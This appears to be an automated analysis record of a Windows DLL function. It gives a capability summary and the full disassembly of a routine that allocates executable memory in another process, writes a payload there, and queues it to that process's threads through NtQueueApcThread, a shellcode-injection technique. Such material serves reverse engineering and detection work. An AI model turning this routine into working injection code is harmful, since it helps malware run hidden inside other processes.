Function at 0x180002da0
Capabilities:
Allocate or change rwx memory
Enumerate threads
Execute shellcode via indirect call
Resume thread
Suspend thread

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov dword [rax + 0x20], r9d
mov qword [rax + 0x10], rdx
mov qword [rax + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
xor eax, eax
xor esi, esi
mov rdi, r8
and dword [rbp - 0x28], esi
and qword [rbp - 0x40], rax
mov r12, rdx
mov qword [rbp - 0x24], rax
mov qword [rbp - 0x1c], rax
mov qword [rbp - 0x14], rax
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], rax
mov r13, rcx
mov ebx, 5
xor r14d, r14d
call fcn.180005cc8
mov r15, rax
test rax, rax
je 0x18000303f
cmp dword [rbp + 0x60], 1
mov rax, qword [rbp + 0x68]
mov byte [rbp - 0x30], sil
mov qword [rbp - 0x40], rax
mov rax, qword [rbp + 0x70]
mov dword [rbp - 0x28], 0x1c
mov qword [rbp - 0x38], rax
jne 0x180002e31
mov ecx, ebx
jmp 0x180002fb2
cmp dword [rbp + 0x60], 2
jne 0x180002fad
lea rcx, [0x1800238dc]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
mov qword [rbp - 0x48], rax
test rax, rax
je 0x180002fb8
lea rdx, str.NtQueueApcThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x50], rax
test rax, rax
je 0x180002fb8
xor edx, edx
lea ecx, [rdx + 4]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
test rax, rax
je 0x180002fb8
lea rdx, [rbp - 0x28]
mov rcx, rax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x180002fb8
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x15c
mov rcx, rdi
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
jne 0x180002ed5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r13, qword [rbp + 0x40]
jmp 0x180002fbe
and qword [rsp + 0x20], 0
lea r8, [0x18002e490]
mov r9d, 0x144
mov rdx, rax
mov rcx, rdi
lea r12, [rax + 0x144]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x180002f0b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12, qword [rbp + 0x48]
jmp 0x180002ecc
and qword [rsp + 0x20], 0
lea r8, [rbp - 0x40]
mov r9d, 0x18
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180002eff
mov r14, qword [rbp - 0x50]
mov eax, dword [rbp + 0x58]
cmp dword [rbp - 0x1c], eax
jne 0x180002f8f
mov r8d, dword [rbp - 0x20]
xor edx, edx
mov ecx, 0x1f03ff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x180002f8f
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x180002f86
mov rdx, rdi
mov rcx, r15
call fcn.180005f7c
and qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, r12
mov rdx, r13
mov rcx, rdi
call r14
test eax, eax
jne 0x180002f8f
xor ebx, ebx
jmp 0x180002f8f
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp - 0x28]
mov rcx, rsi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x180002f2f
mov r14, qword [rbp - 0x48]
mov r12, qword [rbp + 0x48]
mov r13, qword [rbp + 0x40]
jmp 0x180002fc0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_SetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test ebx, ebx
jne 0x18000300b
test r13, r13
je 0x18000300b
test r12, r12
je 0x18000300b
lea r8d, [rbx + 2]
mov edx, 0x20196
mov rcx, r12
call fcn.180004580
mov r8, r12
mov rdx, r13
xor ecx, ecx
call fcn.180004b98
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18000300b
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call fcn.180006008
mov rdi, rax
test rax, rax
jne 0x180002ff9
mov rcx, r15
call fcn.180005d18
test rsi, rsi
je 0x180003031
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14, r14
je 0x18000303f
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, ebx
mov rbx, qword [rsp + 0xd0]
add rsp, 0x80
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret